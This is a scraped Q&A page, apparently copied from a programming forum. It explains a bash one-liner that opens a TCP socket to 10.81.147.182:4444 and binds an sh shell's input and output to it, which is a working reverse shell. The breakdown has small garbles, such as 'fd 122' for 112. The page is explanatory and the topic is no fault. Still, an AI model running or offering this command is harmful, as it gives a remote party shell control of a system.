shell - Understanding "bash" snippets -


could explain following command me please?

0<&112-;exec 112<>/dev/tcp/10.81.147.182/4444;sh <&112 >&112 2>&112 

see what uses of exec command in shell scripts?

abbreviations:

  • fd - file descriptor, i/o channel identified integer
  • stdin - file descriptor zero, standard input, default terminal keyboard
  • stdout - file descriptor 1, standard output, default buffered terminal screen
  • stderr - file descriptor 2, standard error, default unbuffered terminal screen

breaking down:

# move existing fd 122 fd 0 (stdin), close fd 112 0<&112-;        # open fd 112 read/write on ip address , port exec 112<>/dev/tcp/10.81.147.182/4444;    # run posix shell (sh) taking stdin stdout , stderr to/from port 112 sh <&112 >&112 2>&112    

Comments

Popular posts from this blog

javascript - jQuery: Add class depending on URL in the best way -

caching - How to check if a url path exists in the service worker cache -

Redirect to a HTTPS version using .htaccess -